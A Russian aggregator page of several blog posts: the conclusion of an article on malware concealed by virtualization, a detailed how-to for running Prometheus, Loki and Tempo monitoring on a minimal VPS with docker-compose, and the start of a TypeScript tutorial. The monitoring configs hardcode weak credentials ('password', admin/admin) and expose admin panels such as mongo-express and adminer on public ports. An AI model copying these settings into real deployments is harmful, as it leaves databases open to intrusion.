Вселенная виртуальных машин и операционных систем стремительно расширяется, новые программные и аппаратные возможности появляются одновременно. Исследование этих новых возможностей с точки зрения развертывания вредоносного ПО может помочь командам, занимающимся обеспечением информационной безопасности

Устранять некоторые вредоносные варианты поведения, замаскированные при помощи виртуализации, весьма сложно, поскольку в виртуализованном пространстве ничего не видно. Есть некоторые способы подсвечивать эти слепые пятна, но в настоящее время отсутствует стандартное или нативное решение такого рода. Правда, если исследовать всю цепь атаки, то можно обнаружить некоторые очень эффективные контрмеры, позволяющие противодействовать злонамеренной виртуализации.

Что можно сделать/доступные ресурсы:


Частично доступно или недоступно:

  • Видимость внутри состояния виртуальной машины
  • Создание монитора виртуальной машины
  • Выявление аномалий при потреблении ресурсов хоста виртуальной машиной

Заключение


Виртуализация это круто! На основании абстрагирования, обеспечиваемого при помощи виртуализации, построены многие инновационные вещи, в частности, облака, машины конечных точек и даже новейшие автомобили. Виртуализация усиливает производительность и безопасность вообще, но у нее есть и темная сторона. Как показали недавние реальные атаки, и как рассмотрено в этой статье, злоумышленник может обратить себе на пользу многие из возможностей виртуализации. Использование новейших технологий, в частности, VT-x и минималистичных песочниц, позволяет сделать виртуализацию еще более малозаметной.

Назначение vCloak послужить практичным введением в проблему того, как виртуализация может использоваться для незаметного внедрения вредоносного ПО, чтобы пользователи были осведомлены в угрозах такого рода и могли от них защититься.

Также в статье упомянуты некоторые методы устранения таких угроз, доступные сегодня, плюс решения, планируемые в будущем. Важная возможность, которую следовало бы реализовать, чтобы защита от вредоносной виртуализации стала более подъемной задачей повысить прозрачность процессов, творящихся в виртуальной машине, а также позаботиться об эффективной нейтрализации угроз. Индустрия киберзащиты развивается и идет в ногу с современными решениями для виртуализации, но сейчас самое время остерегаться подобных угроз и заблаговременно выстраивать защиту от них.



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

1 CPU 1 Гб а я хочу мониторинг, как у больших дядей

10.05.2021 16:07:24 | Автор: admin


Я обожаю читать на хабре статьи про то, как устроены системы больших интернет-компаний. Кластеры SQL-серверов, монг и редисов. Тут у нас кластер ELK собирает трейсинг, там сборка логов, здесь балансер выдает входящим запросам traceID и можно отслеживать, как запрос ходит по всем нашим микросервисам. Класс. Но, допустим, у вас совсем маленький проект и вы можете себе позволить лишь VPS минимальной конфигурации. Реально ли на ней сделать мониторинг не хуже, чем у больших проектов? Я решил надо попробовать.


Создаем VPS


Сразу оговорюсь, что я ни разу не devops и не особо глубоко разбираюсь в Linux, поэтому, если что-то сделал неправильно, или у вас есть идеи, как можно было сделать то, что я делаю в этой статье проще и лучше пишите в комментариях, буду рад любым вашим советам и замечаниям!

Для экспериментов я создал на Маклауде VPS следующей конфигурации: 1 CPU, 1 Гб RAM и 20 Гб диск.


Для удобства я загрузил свой SSH ключ, и мог заходить в консоль сразу после запуска сервера. Также по умолчанию включено резервное копирование, я его отключил, так как в целях эксперимента мне оно было не нужно. Далее требовалось выбрать ОС. Для этого хотелось понять, какие ресурсы будут доступны на VPS сразу после создания. Меня интересовала свободная память и место на диске. Для этого, в панели управления можно инициировать переустановку ОС. Я поочередно установил доступные ОС и для каждой посмотрел, какие параметры она дает на старте:

CentOS 8:

[root@v54405 ~]# dfFilesystem     1K-blocks    Used Available Use% Mounted ondevtmpfs          406744       0    406744   0% /devtmpfs             420480       0    420480   0% /dev/shmtmpfs             420480    5636    414844   2% /runtmpfs             420480       0    420480   0% /sys/fs/cgroup/dev/vda1       20582864 1395760  18300472   8% /tmpfs              84096       0     84096   0% /run/user/0[root@v54405 ~]# free              total        used        free      shared  buff/cache   availableMem:         840960      106420      525884        5632      208656      600868Swap:             0           0           0


Debian 10

root@v54405:~# dfFilesystem     1K-blocks    Used Available Use% Mounted onudev              490584       0    490584   0% /devtmpfs             101092    1608     99484   2% /run/dev/vda1       20608592 1001560  18736224   6% /tmpfs             505448       0    505448   0% /dev/shmtmpfs               5120       0      5120   0% /run/locktmpfs             505448       0    505448   0% /sys/fs/cgrouptmpfs             101088       0    101088   0% /run/user/0root@v54405:~# free              total        used        free      shared  buff/cache   availableMem:        1010900       43992      903260        1608       63648      862952Swap:             0           0           0


Ubuntu 20.04

root@v54405:~# dfFilesystem     1K-blocks    Used Available Use% Mounted onudev              473920       0    473920   0% /devtmpfs             100480     592     99888   1% /run/dev/vda1       20575824 1931420  17757864  10% /tmpfs             502396       0    502396   0% /dev/shmtmpfs               5120       0      5120   0% /run/locktmpfs             502396       0    502396   0% /sys/fs/cgrouptmpfs             100476       0    100476   0% /run/user/0root@v54405:~# free              total        used        free      shared  buff/cache   availableMem:        1004796       65800      606824         592      332172      799692Swap:        142288           0      142288

Итак, в CentOS не доложили оперативной памяти (кстати почему хороший вопрос сервису), а Убунту занял на гигабайт больше места на диске. Так что я остановил свой выбор на Debian 10.

Для начала обновим систему:

apt-get updateapt-get upgrade

Также установим sudo

apt-get install sudo


Для того, чтобы реализовать мою задумку первым делом я установил докер по инструкции с официального сайта.

Проверяем, что докер установлен

# docker -vDocker version 20.10.6, build 370c289


Также понадобится docker-compose. Процесс установки можно посмотреть тут.

Проверим, что докер установился:

# docker-compose -vdocker-compose version 1.29.1, build c34c88b2

Итак, все приготовления выполнены, посмотрим, сколько места осталось на диске:

Filesystem     1K-blocks    Used Available Use% Mounted onudev              490584       0    490584   0% /devtmpfs             101092    2892     98200   3% /run/dev/vda1       20608592 1781756  17956028  10% /tmpfs             505448       0    505448   0% /dev/shmtmpfs               5120       0      5120   0% /run/locktmpfs             505448       0    505448   0% /sys/fs/cgrouptmpfs             101088       0    101088   0% /run/user/0


Запускаем проект


Для эксперимента я написал на NestJS небольшой веб-сервис, который работает с изображениями. Он позволяет загружать изображения на сервер, извлекает из них метаданные, записывает их в MongoDB, а информация о сохраненных изображениях пишется в Postgres. Для каждого загруженного изображения можно получить метаданные и скачать само изображение. Изображения, к которым не обращались более 10 минут удаляются с сервера при помощи функции очистки, которая запускается раз в минуту.

Исходный код проекта на githab.

Я клонировал его на сервер при помощи команды:

git clone https://github.com/debagger/observable-backend.git

Чтобы было удобно разворачивать сервис на сервере я написал файл docker-compose.nomon.yml следующего содержания:
version: "3.9"volumes:  imagesdata:  grafanadata:  postgresdata:  mongodata:  tempodata:services:  backend:    image: node:lts    volumes:      - ./backend:/home/backend      - imagesdata:/images    working_dir: /home/backend    environment:      OT_TRACING_ENABLED: "false"      PROM_METRICS_ENABLE: "false"    ports:      - 3000:3000    entrypoint: ["/bin/sh"]    command: ["prod.sh"]    restart: always  db:    image: postgres    restart: always    expose:      - "5432"    volumes:      - postgresdata:/var/lib/postgresql/data    environment:      POSTGRES_PASSWORD: password      POSTGRES_USER: images  adminer:    image: adminer    restart: always    ports:      - 8080:8080  mongo:    image: mongo    restart: always    volumes:      - mongodata:/data/db  mongo-express:    image: mongo-express    restart: always    ports:      - 8081:8081


Для запуска проекта переходим в его директорию

cd observable-backend


И запускаем:

docker-compose -f docker-compose.nomon.yml up -d


Сервису понадобится некоторое время чтобы стартовать, я настроил его таким образом, чтобы он при запуске автоматически загружал зависимости и собирался.

После запуска можно проверить что он работает в браузере по ссылке
http://<ip сервера>:3000/

Должна вывестись строка Hello World!

Для того, чтобы испытывать производительность сервиса при помощи библиотеки autocannon я написал нагрузочный тест. Он находится в том же репозитории, в директории autocannon. Его надо запускать на машине с установленным node.js предварительно установив адрес сервера, где запущен проект в .env файле.

После запуска двухминутного теста я получил следующий результат:


В процессе теста я мог наблюдать за поведением системы при помощи стандартной команды linux top, а также docker stats. Помимо этого можно смотреть логи, при помощи команды docker logs. Но этого недостаточно, хочется лучше понимать, что происходит с моим сервисом под нагрузкой. Поэтому следующим шагом я решил добавить к проекту сбор метрик.

Настраиваем метрики


После недолгого гугления решений для сбора метрик я остановил свой выбор на связке Prometheus + Grafana.

Для использования этой связки я добавил в конфигурацию docker-compose следующее:

  prometheus:    image: prom/prometheus    ports:      - 9090:9090    volumes:       - ./prometheus.yml:/etc/prometheus/prometheus.yml  mongo-exporter:    image: bitnami/mongodb-exporter    ports:      - 9091:9091    command: [--mongodb.uri=mongodb://mongo, --web.listen-address=0.0.0.0:9091]  pg-exporter:    image: bitnami/postgres-exporter    ports:      - 9092:9092    environment:       DATA_SOURCE_NAME: sslmode=disable user=images password=password host=db      PG_EXPORTER_WEB_LISTEN_ADDRESS: 0.0.0.0:9092  grafana:    image: grafana/grafana    ports:       - 3001:3000    volumes:       - grafanadata:/var/lib/grafana


Здесь минимальная конфигурация для запуска Prometheus и Grafana, а также экспортеры для метрик из Postgres и Mongo. Для Prometheus я написал конфиг prometheus.yml со следующим содержимым.

global:  scrape_interval:     10sscrape_configs:  - job_name: 'nodejs'    honor_labels: true    static_configs:      - targets: ['backend:3000']  - job_name: mongodb    honor_labels: true    static_configs:      - targets: ['mongo-exporter:9091']  - job_name: postgres    scrape_timeout: 9s    honor_labels: true    static_configs:      - targets: ['pg-exporter:9092']


Чтобы собирать метрики из своего приложения я использовал библиотеку express-prom-bundle, которая позволяет собирать стандартные метрики и создавать свои собственные. Также я добавил в свой сервис переменную окружения PROM_METRICS_ENABLE для того, чтобы можно было включать и отключать метрики из конфигурации контейнера. Если активировать данную функцию, метрики, собираемые приложением, будут доступны по адресу http://<ip сервера>:3000/metrics.

Я включил сбор дефолтных системных метрик, метрики по запросам, обрабатываемым сервером Express, а также несколько своих, которые позволяют контролировать скорость и количество загружаемых и скачиваемых изображений, количество хранимых изображений и занимаемое ими место на диске.

Получившуюся конфигурацию я сохранил под именем docker-compose.metrics.yml.

Запустить эту конфигурацию можно командой

docker-compose -f docker-compose.metrics.yml up -d


После запуска можно зайти в интерфейс Grafana по адресу http://<ip сервера>:3001/

Логин/пароль по умолчанию admin/admin.

Здесь в настройках я добавил источник данных Prometheus


После этого нам доступны все метрики, которые собирает Prometheus.

Для примера выведем графики загрузки процессора по всем сервисам:


Для своих целей я настроил такую панель:


Теперь мне стало гораздо проще разобраться, что происходит с сервисом.

ELK неудача


Итак, я настроил метрики, и теперь мне хотелось заняться сбором логов. Я решил попробовать поднять для этих целей связку Elasticsearch + Logstash. Это просто первое, что пришло в голову, ибо читал много хорошего про эти инструменты. Особенно интересовало, удастся ли сделать сбор логов прямо с контейнеров, потому что у докера для этой целей есть встроенный плагин, позволяющий экспортировать вывод консоли сервисов в формате gelf, который поддерживает Logstash. Я добавил в docker-compose следующее

  elasticsearch:    image: elasticsearch:7.12.1    environment:      - discovery.type=single-node      - ES_JAVA_OPTS=-Xms250m -Xmx250m    ports:      - 9200:9200      - 9300:9300  logstash:    image: logstash:7.12.1    links:      - elasticsearch    volumes:      - ./logstash.conf:/etc/logstash/logstash.conf    command: logstash -f /etc/logstash/logstash.conf    ports:     - 12201:12201/udp    depends_on:      - elasticsearch


Также для начала настроил экспорт логов из Mongo. Для этого описание сервиса mongo в файле docker-compose я дополнил следующим образом:

  mongo:    image: mongo    restart: always    logging:      driver: gelf      options:        gelf-address: "udp://localhost:12201"


Когда я запустил новую конфигурацию я понял, что это конец. Ничего не работало. Сервер стал жутко тормозить, а kswapd0 периодически выходил на первое место по загрузке процессора, а свободная память была почти на нуле. Памяти для такой конфигурации явно не хватало.

Забегая вперед, когда я активировал файл подкачки, мне удалось запустить проект. Но все равно всё работало очень медленно, причем дольше всего запускался Logstash. Инструмент, задача которого всего лишь на всего грузить логи стартовал минут 20. Хотя, когда он наконец запустился, работал как предполагалось, и я даже смог посмотреть в Grafana кусочек лога Mongo, так что, в принципе решение работало, просто для системы с таким объемом оперативной памяти оно не подходило, что не удивительно, ведь если погуглить, каковы минимальные требования для Elasticsearch, то ответ будет таким:



Я действительно этого не знал, поэтому немного приуныл, поскольку я хотел позже использовать Elasticsearch в качестве хранилища данных для jaeger, чтобы реализовать сбор трейсов приложения и поставить Kibana чтобы добить ELK стек. Но, как говорится, на нет и суда нет, поэтому я стал искать альтернативу.

Loki


И альтернатива нашлась! Искать, к слову, долго не пришлось, потому что в списке поддерживаемых источников данных Grafana обнаружился зверь под названием Loki. Это сборщик логов из той же эко-системы, что Prometheus и Grafana. Напомню, что моя идея была в том, чтобы писать логи из стандартного потока контейнеров. И для этого сценария тоже быстро нашлось решение. Оказалось, для докера есть плагин, который позволяет делать именно то, что мне надо отправлять потоки стандартного вывода в Loki. Поставить его можно следующей командой:

# docker plugin install grafana/loki-docker-driver:latest --alias loki --grant-all-permissions

Я добавил в конфигурацию docker-compose сервис loki:

  loki:    image: grafana/loki:2.0.0    ports:      - 3100:3100    command: -config.file=/etc/loki/local-config.yaml

Кроме этого, я добавил ко всем сервисам, логи с которых хотел собрать, следующую секцию:

    logging:      driver: loki      options:       loki-url: http://localhost:3100/loki/api/v1/push

А к своему приложению добавил еще

        loki-pipeline-stages: |          - json:              expressions:                output: msg                level: level                timestamp: time                pid: pid                hostname: hostname                context: context                traceID: traceID


Чтобы из лога, который у меня в формате json парсились важные поля.

Получившийся конфиг я сохранил под именем docker-compose.metrics_logs.yml.

Теперь результат можно запустить при помощи команды

docker-compose -f docker-compose.metrics_logs.yml up -d

После запуска я понял, что что-то идет не так, потому что команда вылетела с сообщением Killed. Я попробовал еще раз сервисы запустились частично. На третий раз все заработало, но когда я заглянул в top то увидел, что там периодически проскакивает kswapd0, а это значило, что системе жестко не хватало памяти.


Простой выход добавить в конфигурацию хотя бы гигабайт оперативной памяти, но по условиям эксперимента я хотел запустить все на VPS минимальной конфигурации. Поэтому я решил активировать swap-файл, который в системе по умолчанию отключен. Сколько было эпичных баттлов в комментариях про то, нужен ли файл подкачки в Linux, но у меня выбора особо не было. Заодно я решил проверить, как будет влиять наличие файла подкачки на производительность системы.

Включаем swap:

# sudo fallocate -l 1G /swapfile# sudo chmod 600 /swapfile# sudo mkswap /swapfile# sudo swapon /swapfile

Проверяем про помощи команды free:

              total        used        free      shared  buff/cache   availableMem:        1010900      501760      202344       26500      306796      353952Swap:       4194300           0     4194300

В системе появился файл подкачки размером 4Гб. Должно хватить!

Снова пытаемся запустить нашу систему:

# docker-compose -f docker-compose.metrics_logs.yml up -d


Все работает! Теперь в Grafana добавляем в качестве источника логов Loki


Идем в Explore и видим, что логи начали подгружаться.


Проверим, что стало с производительностью.



Раз все работает, осталось закрепить файл подкачки в системе. Для этого надо в файле /etc/fstab добавить строку

/swapfile swap swap defaults 0 0

После этого файл подкачки останется в системе даже после перезагрузки.

Добавляем сбор трейсов при помощи Tempo


Для полного счастья мне нужна была система сбора трейсов. Чтобы не мудрить, раз уж так вышло, что я использую стек Grafana, можно добавить в качестве сборщика данных еще один инструмент от Grafana Lab сервер для сбора трейсов Tempo. Он из коробки поддерживается Grafana, поэтому попробуем его добавить его в систему.

Для того, чтобы приложение стало генерировать трейсы, его надо специальным образом инструментировать. Для этого есть замечательный проект под названием OpenTelemetry, который развивает систему спецификаций и библиотек для реализации трейсинга под различные платформы и системы. В нем есть готовые библиотеки для автоматической инструментации Node.js и сервера express.js, который работает под капотом у nest.js. Их я и добавил в свой проект.

Tempo может принимать трейсы про всем распространённым протоколам. Я выбрал протокол Jagger Trift binary простой двоичный формат, передаваемый по UDP. Также, как и в случае с метриками, я в своем приложение я добавил переменную окружения OT_TRACING_ENABLED, которая, если ее установить в true включает в приложении телеметрию.

Для запуска Tempo я добавил в файл конфигурации docker-compose следующее:

  tempo:    image: grafana/tempo:latest    command: [-config.file=/etc/tempo.yaml]    volumes:      - ./tempo-local.yaml:/etc/tempo.yaml      - tempodata:/tmp/tempo    ports:      - 6832/udp   # Jaeger - Thrift Binary

и сохранил его под названием docker-compose.metrics_logs_tempo.yml

Для настройки Tempo я создал файл конфигурации tempo-local.yaml (на самом деле просто скопировал из репозитория Tempo подходящий и немного поправил). Запустим его командой

docker-compose -f docker-compose.metrics_logs_tempo.yml up -d


Теперь осталось в Grafana настроить источник данных:


Чтобы было удобно переходить к просмотру трейсов из логов надо настроить источник данных Loki:


После такой настройки рядом с полем traceID появится ссылка:


По этой ссылке будет открываться окно с данным трейсом:


Испытываем производительность нашего сервиса.


Здесь уже видно заметное падение производительности сервиса, но надо понимать, что эта плата за детальную телеметрию.

Дополнение: уже когда я прогнал нагрузочные тесты, результаты которых приведены ниже и дописывал статью, изучая документацию Jaeger я выяснил, что он может использовать для хранения данных локальное хранилище на основе key-value базы данных Badger, и, таким образом, может работать без Elasticsearch. Я добавил в репозиторий файл конфигурации для docker-compose где вместо tempo используется jaeger (docker-compose.metrics_logs_jaeger.yml), но не проводил всего набора тестов. Я запустил тест производительности только на базовой конфигурации, и в этом режиме получилось 19,92 запроса в секунду, что несколько больше по сравнению с вариантом, где используется tempo 18,84.

В отличии от tempo, который позволяет искать трейсы только по traceID, jeaeger дает возможность поиска по различным параметрам и у него есть собственный, достаточно удобный интерфейс для просмотра трейсов.

Результаты тестов


Итак, мне удалость запустить все необходимые компоненты мониторинга и телеметрии. Осталось понять, насколько использование различных компонентов влияет на производительность системы.

Для каждого из перечисленных выше вариантов я запускал нагрузочный тест продолжительностью 20 минут. Для того, чтобы задействовать все компоненты системы, включая сетевой интерфейс я запускал тест autocannon со своей VPS размещённой у другого провайдера, предварительно проверив скорость соединения при помощи iperf она составила 90 Мбит/сек. Так же между запусками тестов я дожидался, пока отработает функция удаления старых изображений, полностью удалив загруженные в предыдущем тесте файлы с диска и информацию из баз данных.

Результаты я свел в таблицу. Для оценки производительности я решил ориентироваться на число запросов в секунду, которое может обрабатывать система. Конечно, есть куча других метрик, но именно эта наиболее наглядно, на мой взгляд, показывает общее влияние различных факторов на производительность системы. Вот что получилось.

Запросов в секунду Снижение производительности
Без мониторинга 28,07 100%
Prometheus 27,19 97%
Prometheus+Loki 25,47 91%
Prometheus+Loki+Tempo 18,84 67%

Выходит, что только использование трейсинга приводит к значительным потерям производительности, а в случае со сбором метрик и логов потери составляют менее 10%.

Добавляем ядра и память


Также я решил посмотреть, как будет влиять на производительность сервиса увеличение объема памяти и количества ядер процессора. Macloud.ru позволяет менять параметры тарифа и я решил посмотреть как работает эта функция. Первым делом я добавил еще 1 Гб оперативной памяти.


После нажатия кнопки Сменить тариф сервер перезагрузился и вот что получилось:

              total        used        free      shared  buff/cache   availableMem:        2043092      309876     1190416       14284      542800     1576804Swap:       4194300           0     4194300

Все правильно. Теперь можно отключить файл подкачки.

swapoff /swapfile

Посмотрим, что покажут тесты:

Запросов в секунду Снижение производительности
Без мониторинга 27,52 100%
Prometheus 24,78 90%
Prometheus+Loki 21,58 78%
Prometheus+Loki+Tempo 21,44 78%

Почему-то производительность в целом стала немного ниже, но не так сильно зависит от включения функций мониторинга. Я предположил, что может быть дело все-таки в файле подкачки и включил его обратно. Вот что получилось:

Запросов в секунду Снижение производительности
Без мониторинга 29,64 100%
Prometheus 26,97 91%
Prometheus+Loki 25,7 87%
Prometheus+Loki+Tempo 22,95 77%

Выводы такие добавление памяти улучшает производительность системы, наличие файла подкачки также влияет положительно. Почему так происходит, требует более детального изучения, могу лишь предположить, что менеджер памяти при наличии файла подкачки имеет возможность вытеснить на диск малоиспользуемые данные чтобы дать больше места активным приложениям. Я оставил файл подкачки включенным несмотря на то, что памяти в принципе хватало для работы системы и без него.

После этого мне стало интересно а как повлияет на производительность добавление второго ядра CPU? Сказано-сделано:


После добавления второго ядра я погнал всё те же тесты и вот какой результат получился.

Запросов в секунду Снижение производительности
Без мониторинга 49,05 100%
Prometheus 44,52 91%
Prometheus+Loki 45,64 93%
Prometheus+Loki+Tempo 40,34 82%

Производительность увеличилась в 1,75 раза если сравнивать с базовым вариантом. Это хорошо, ведь если нагрузка на сервер будет расти, я могу просто докупить второе ядро, когда в этом появится необходимость.

Дальше я экспериментировать не стал, мне понятно, что, если продолжить добавлять память и процессорные ядра, производительность системы не будет расти так заметно. Чтобы обеспечить прирост производительности в этом случае нужно будет организовать запуск приложения в режиме кластера и внести еще ряд архитектурных изменений.

Выводы


Начиная этот эксперимент, я задался целью проверить, возможно ли на VPS c очень ограниченными ресурсами (я знаю, что можно найти предложения с еще более скромными параметрами, но 1 CPU + 1 Гб RAM это доступный минимум у большей части провайдеров) запустить полноценную систему мониторинга для приложения. Как видите, это оказалось вполне возможно. Конечно, не все инструменты, которые используют крупные компании, применимы, но вполне можно найти такой набор, который позволит организовать мониторинг вашей системы не сильно влияя на ее производительность.

Также в ходе эксперимента я смог ответить для себя на ряд вопросов:

Стоит ли заморачиваться с настройкой мониторинга для совсем небольшого проекта?

Я считаю, что да, стоит. Мониторинг помогает понять, как ведет себя ваш проект в рабочей среде и дает информацию для дальнейшего улучшения качества кода. Я в процессе данного эксперимента, благодаря изучению данных мониторинга я смог заметить ряд недостатков в своем приложении, которые мне бы вряд ли удалось выявить другим способом.

Нужно ли делать нагрузочное тестирование?

Однозначно да. Во-первых, это позволяет найти узкие места в вашем приложении. Во-вторых, позволяет оценить, с какой нагрузкой сможет справиться система. Ну и в-третьих, имея настроенный мониторинг очень интересно наблюдать как система ведет себя под нагрузкой, это дает очень много пищи для размышлений и позволяет улучшить понимание того, как взаимодействуют компоненты системы.

Сложно ли настроить мониторинг

Ох, хотел бы я сказать, что это просто, но нет. Если делаешь это впервые, скорее всего придется вдоволь походить по граблям. Тут нет единого рецепта, как построить работающую систему, которая будет делать то, что вам нужно. Часто приходится собирать необходимую информацию по крупицам, и действовать интуитивно, потому что какие-то важные для тебя моменты не озвучиваются в документации. Если вы решите пойти этим путем, надеюсь, что данная статья и прилагающийся репозиторий поможет вам пройти его быстрее, чем мне.

А почему не облачные решения?

Мне просто спокойней платить фиксированную сумму и иметь в своем распоряжении все ресурсы, которые дает VPS. Истории, как разработчик что-то сделал неправильно и получил многотысячный счет пугают. Хотя возможно, что в облаке все, что я описываю в этой статье настраивается за пару кликов мышкой, и тогда это, конечно, огромный плюс.

В заключении хотелось бы сказать даже если у вас небольшой проект, и еще нет мониторинга, имеет смысл задуматься о его внедрении. Если вы опасаетесь, что это сложно сделать, или что у вашей системы недостаточно ресурсов для его реализации можете использовать в качестве отправной точки материалы данной статьи и пример реализации, который я разместил в репозитории.

Репозиторий можно посмотреть по этому адресу: github.com/debagger/observable-backend



Облачные серверы от Маклауд быстрые и безопасные.

Зарегистрируйтесь по ссылке выше или кликнув на баннер и получите 10% скидку на первый месяц аренды сервера любой конфигурации!

Подробнее..

Перевод Практическое руководство по TypeScript для разработчиков

18.05.2021 14:13:42 | Автор: admin

Представляю вашему вниманию перевод статьи "Working With TypeScript: A Practical Guide for Developers".


Что такое TypeScript?


TypeScript это популярный статический типизатор (static type checker) или типизированное надмножество (typed superset) для JavaScript, инструмент, разработанный Microsoft и добавляющий систему типов к гибкости и динамическим возможностям JavaScript.


TypeScript развивается как проект с открытым исходным кодом, распространяется под лицензией Apache 2.0, имеет очень активное и высокопрофессиональное сообщество, а также огромное влияние на экосистему JavaScript.


Установка TypeScript


Для того, чтобы начать работу с TypeScript, нужно либо установить специальный интерфейс командной строки (command line interface, CLI), либо воспользоваться официальной онлайн-песочницей или другим похожим инструментом.


Для выполнения кода мы будем использовать Node.js. Устанавливаем его, если он еще не установлен на вашей машине, инициализируем новый Node.js-проект и устанавливаем транспилятор TypeScript:


# Создаем новую директорию для проектаmkdir typescript-intro# Делаем созданную директорию текущейcd typescript-intro# Инициализируем Node.js-проектnpm init -y# Устанавливаем компилятор TypeScriptnpm i typescript

Это установит tsc (компилятор TypeScript) для текущего проекта. Для того, чтобы проверить установку, в директории проекта создаем файл index.ts следующего содержания:


console.log(1)

Затем используем транспилятор для преобразования кода, содержащегося в этом файле, в JavaScript:


# Преобразуем index.ts в index.jsnpx tsc index.ts

Наконец, выполняем скомпилированный код с помощью команды node:


# Вы должны увидеть `1` в терминалеnode index.js

В данном случае транспилятор не делает ничего, кроме копирования кода из одного файла в другой, но это позволяет убедиться, что все установлено и работает правильно.


Обратите внимание: версии TypeScript могут сильно отличаться друг от друга, даже если речь идет о минорных релизах. Поэтому TypeScript лучше устанавливать локально и выполнять с помощью npx, вместо того, чтобы полагаться на глобальную версию.


Определение TypeScript-проекта


Для определения TypeScript-проекта внутри Node.js-проекта, необходимо создать файл tsconfig.json. Присутствие данного файла в директории свидетельствует о том, что мы имеем дело с TypeScript-проектом.


tsconfig.json содержит определенное количество настроек, которые влияют на поведение транспилятора, например, на то, какие файлы следует игнорировать, какой файл является целью компиляции, какие типы импортируются и т.д.


Вы легко можете настроить TypeScript с помощью следующей команды:


# Создаем стандартный tsconfig.jsonnpx tsc --init

Сгенерированный tsconfig.json содержит почти все возможные настройки с кратким описанием каждой из них. К счастью, данный файл содержит хорошие настройки по умолчанию, так что вы можете удалить большую часть закомментированных опций.


Мы еще вернемся к настройкам TypeScript, а сейчас давайте писать код.


Возможности TypeScript


Каждая возможность TypeScript подробно рассматривается в "Карманной книге по TypeScript". Мы сосредоточимся на практической составляющей некоторых из них. Я постараюсь пролить свет на некоторые возможности, которые часто упускаются из вида в литературе, посвященной TypeScript.


Основы типизации


Ключевая идея TypeScript заключается в контроле за динамической природой и гибкостью JavaScript с помощью типов. Давайте рассмотрим эту идею на практике.


В директории проекта создаем файл test.js следующего содержания:


function addOne(age) { return age + 1}const age = 'thirty two'console.log(addOne(age))

Выполняем данный код:


node test.js

  1. Что мы увидим в терминале?
  2. Как вы думаете, правильным ли будет вывод?

В терминале мы увидим thirty two1 без каких-либо предупреждений об очевидной некорректности вывода. Ничего нового: обычное поведение JavaScript.


Но что если мы хотим обеспечить, чтобы функция addOne() принимала только числа? Вы можете добавить в код проверку типа переданного значения с помощью оператора typeof или же вы можете использовать TypeScript, который привнесет в процесс компиляции кода некоторые ограничения.


Заменим содержимое созданного нами ранее index.ts следующим кодом:


function addOne(age: number): number { return age + 1}console.log(addOne(32))console.log(addOne('thirty two'))

Обратите внимание, что мы ограничили принимаемый функцией аргумент и возвращаемое функцией значение типом number.


Преобразуем файл:


npx tsc index.ts

Попытка преобразования проваливается:


index.ts:6:20 - error TS2345: Argument of type 'string' is notassignable to parameter of type 'number'. Аргумент типа 'строка' не может быть присвоен параметру с типом 'число'.

Таким образом, определение типов помогает избежать совершения ошибок, таких как передача в функцию аругментов неправильного типа.


string и number это лишь два из основных типов, поддерживаемых TypeScript. TypeScript поддерживает все примитивные значения JavaScript, включая boolean и symbol.


Кроме того, TypeScript определяет несколько собственных типов, которые не имеют соответствия в JavaScript, но являются очень полезными с точки зрения используемой в данной экосистеме методологии:


  • enum ограниченный набор значений
  • any указывает на то, что переменная/параметр могут быть чем угодно, что, по сути, нивелирует типизацию
  • unknown типобезопасная альтернатива any
  • void указывает на то, что функция ничего не возвращает
  • never указывает на то, что функция выбрасывает исключение или на то, что ее выполнение никогда не заканчивается
  • литеральные типы, конкретизирующие типы number, string или boolean. Это означает, например, что 'Hello World' это string, но string это не 'Hello World' в контексте системы типов. Тоже самое справедливо в отношении false в случае с логическими значениями или для 3 в случае с числами:

// Данная функция принимает не любое число, а только 3 или 4declare function processNumber(s: 3 | 4)declare function processAnyNumber(n: number)const n: number = 10const n2: 3 = 3processNumber(n) // Ошибка: `number` - это не `3 | 4`processAnyNumber(n2) // Работает. 3 - это `number`

Множества


TypeScript поддерживает несколько типов множеств (обычные массивы, ассоциативные массивы карты или мапы, кортежи), обеспечивая первоклассную поддержку композиции.


Карты (maps)


Карты, как правило, используются для определения связи между ключами и значениями для представления специфичных для приложения данных:


// Создаем ассоциативный типtype User = { id: number username: string name: string}// Создаем объект `user`, соответствующий ассоциативному типуconst user: User = { id: 1, username: 'Superman', name: 'Clark Kent',}

Векторы (vectors)


Векторы это последовательная индексированная структура данных, содержащая фиксированные типы для всех элементов. JavaScript не поддерживает данную возможность, но TypeScript позволяет разработчикам эмулировать эту концепцию:


// Создаем ассоциативный типtype User = { id: number username: string name: string}// Создаем несколько объектов `user`, соответствующих ассоциативному типуconst user1: User = { id: 1, username: 'Superman', name: 'Clark Kent',}const user2: User = { id: 2, username: 'WonderWoman', name: 'Diana Prince',}const user3: User = { id: 3, username: 'Spiderman', name: 'Peter Parker',}// Создаем вектор пользователейconst userVector: User[] = [user1, user2, user3]

Кортежи (tuples)


Кортежи также являются индексированной структорой данных, но типы элементов могут различаться в зависимости от их позиции:


// Создаем ассоциативный типtype User = { id: number username: string name: string}// Создаем объект `user`, соответствующий ассоциативному типуconst user1: User = { id: 1, username: 'Superman', name: 'Clark Kent',}// Создаем кортежconst userTuple: [User, number] = [user1, 10]

Объединения (unions)


Другим способом создания композиции типов являются объединения, которые бывают полезны в случаях, когда принимаемый функцией аргумент может иметь один из нескольких типов.


Предположим, что мы хотим создать функцию, возвращающую адрес пользователя на основе переданного объекта или строки.


Прежде всего, давайте установим node-fetch, чтобы иметь возможность использовать функцию fetch в Node.js:


npm i node-fetch @types/node-fetch

Затем с помощью typeof осуществляем разделение типов:


type User = { id: number username: string name: string email: string}async function fetchFromEmail(email: string) { const res = await fetch('https://jsonplaceholder.typicode.com/users') const parsed: User[] = await res.json() const user = parsed.find((u: User) => u.email === email) if (user) {   return fetchFromId(user.id) } return undefined}function fetchFromId(id: number) { return fetch(`https://jsonplaceholder.typicode.com/users/${id}`)   .then((res) => res.json())   .then((user) => user.address)}function getUserAddress(user: User | string) { if (typeof user === 'string') {   return fetchFromEmail(user) } return fetchFromId(user.id)}getUserAddress('Rey.Padberg@karina.biz').then(console.log).catch(console.error)

Здесь мы в явном виде реализовали предохранитель типов.


К слову, кортежи и объединения можно использовать совместно:


const userTuple: Array<User | number> = [u, 10, 20, u, 30]// Любой элемент может быть либо `User`, либо `number`

Можно определять размер и тип каждого элемента массива:


